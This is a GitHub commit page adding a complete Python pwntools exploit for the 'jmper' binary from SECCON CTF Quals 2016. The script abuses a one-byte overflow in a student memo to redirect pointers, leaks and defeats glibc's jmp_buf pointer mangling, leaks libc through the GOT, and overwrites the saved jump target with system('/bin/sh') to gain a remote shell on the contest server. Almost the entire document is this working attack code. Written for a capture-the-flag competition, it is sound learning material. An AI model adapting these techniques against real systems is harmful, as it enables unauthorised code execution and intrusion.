Skip to content

Commit

Permalink
Add exploit script for jmper challenge
Browse files Browse the repository at this point in the history
  • Loading branch information
m1ghtym0 committed Dec 23, 2016
1 parent 4f7951e commit 194a1e4
Showing 1 changed file with 170 additions and 0 deletions.
170 changes: 170 additions & 0 deletions seccon-ctf-quals-2016/exploit/jmper-300/jmper_exploit.py
@@ -0,0 +1,170 @@
#!/usr/bin/env python2

# system exploit for the jmper binary of Seccon Quals 2016
# written by mightymo
# based on pwntools:
# docu: https://docs.pwntools.com/en/stable/
# repo: https://github.com/Gallopsled/pwntools
# install: pip install --upgrade pwntools

from pwn import *
import re
import sys
import fcntl
import os
from hexdump import hexdump

STUDS = 0

# Set context for asm
context.clear()
context(os='linux', arch='amd64', log_level='INFO', bits=64)

e = ELF('./jmper')
libc = ELF('./libc-2.19.so')

# Set host and port
H,P='jmper.pwn.seccon.jp',5656

#p = process("./jmper")
p = remote(H,P)
#print "PID: {}".format(util.proc.pidof(p))
#pause()

# rol and rol lambda functions for jmpbuf en-/decryption
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

def read_menu(sock):
return sock.recvuntil('Bye :)')

def create_stud(sock):
global STUDS
sock.sendline('1')
read_menu(sock)
ret = STUDS
STUDS += 1
return ret

def write_name(sock, stud_id, name):
sock.sendline('2')
sock.recvuntil("ID:")
sock.sendline("{}".format(stud_id))
sock.recvuntil("name:")
sock.sendline(name)
read_menu(sock)

def write_memo(sock, stud_id, memo):
sock.sendline('3')
sock.recvuntil("ID:")
sock.sendline("{}".format(stud_id))
sock.recvuntil("memo:")
sock.sendline(memo)
read_menu(sock)

def show_name(sock, stud_id):
sock.sendline('4')
sock.recvuntil("ID:")
sock.sendline("{}".format(stud_id))
ret = sock.recvline()
read_menu(sock)
return ret

def show_memo(sock, stud_id):
sock.sendline('5')
sock.recvuntil("ID:")
sock.sendline("{}".format(stud_id))
ret = sock.recvline()
read_menu(sock)
return ret

def longjump(sock):
while create_stud(sock) != 0x1d:
pass
sock.sendline('1')

offset_my_class = 0x010
offset_jmpbuf = 0x110
offset_stud1 = 0x1e0
offset_stud2 = 0x250
offset_stud3 = 0x2c0
offset_stud4 = 0x330
offset_stud5 = 0x3a0
offset_name1 = 0x220
offset_name2 = 0x290
offset_name3 = 0x300
offset_name4 = 0x370
offset_name5 = 0x3e0


# gadegts
pop_ret = 0x0000000000400661 # ret

read_menu(p)
stud_1 = create_stud(p)
log.info("Created stud {}".format(stud_1))
stud_2 = create_stud(p)
log.info("Created stud {}".format(stud_2))
stud_3 = create_stud(p)
log.info("Created stud {}".format(stud_3))
stud_4 = create_stud(p)
log.info("Created stud {}".format(stud_4))
stud_5 = create_stud(p)
log.info("Created stud {}".format(stud_5))
write_name(p, stud_1, "alice")
write_name(p, stud_2, "bob")
write_name(p, stud_3, "carol")
write_memo(p, stud_2, "A"*0x20+"\xe8") # stud2 points to stud_3->name
write_name(p, stud_2, "A")
dump = show_name(p, stud_2)
jmpbuf_lsw = ((ord(dump[1]) & 0xf0) << 8) | 0x110
log.info("Found jumpbuf offset: {0:x}".format(jmpbuf_lsw))


log.info("Get secret xor word")
rip_addr = jmpbuf_lsw+0x38
write_name(p, stud_2, p16(rip_addr))
dump = show_name(p, stud_3)
rip_stored = unpack(dump[:8])
log.info("Found stored rip: {0:x}".format(rip_stored))
rip = ror(rip_stored, 0x11, 64)
secret_xor = rip ^ 0x400c31
log.info("Found secret xor: {0:x}".format(secret_xor))


log.info("Overwrite stored rbx with /bin/sh'")
rip_addr = jmpbuf_lsw
write_name(p, stud_2, p16(rip_addr))
write_name(p, stud_3, '/bin/sh')
#
# get libc info
log.info("Overwrite stored rip with system@libc")
getchar_addr = e.got['getchar']
write_name(p, stud_2, p64(getchar_addr))
dump = show_name(p, stud_3)
end = dump.index('1')
getchar_dump = dump[:end]
getchar_addr = u64(getchar_dump + "\x00\x00")
log.info("Found getchar @ {0:x}".format(getchar_addr))

libc_base = getchar_addr - libc.symbols["getchar"]
log.info("Found libc_base @ {0:x}".format(libc_base))
libc_system = libc_base + libc.symbols["system"]
log.info("Found system @ {0:x}".format(libc_system))

new_rip = libc_system ^ secret_xor
new_rip = rol(new_rip, 0x11, 64)
log.info("New rip: {0:x}".format(new_rip))
write_memo(p, stud_4, "A"*0x20+"\xc8")
write_name(p, stud_4, p16(jmpbuf_lsw+0x38)) # stud5 points to rip in jmpbuf
write_name(p, stud_5, p64(new_rip))



longjump(p)
p.interactive()

0 comments on commit 194a1e4

Please sign in to comment.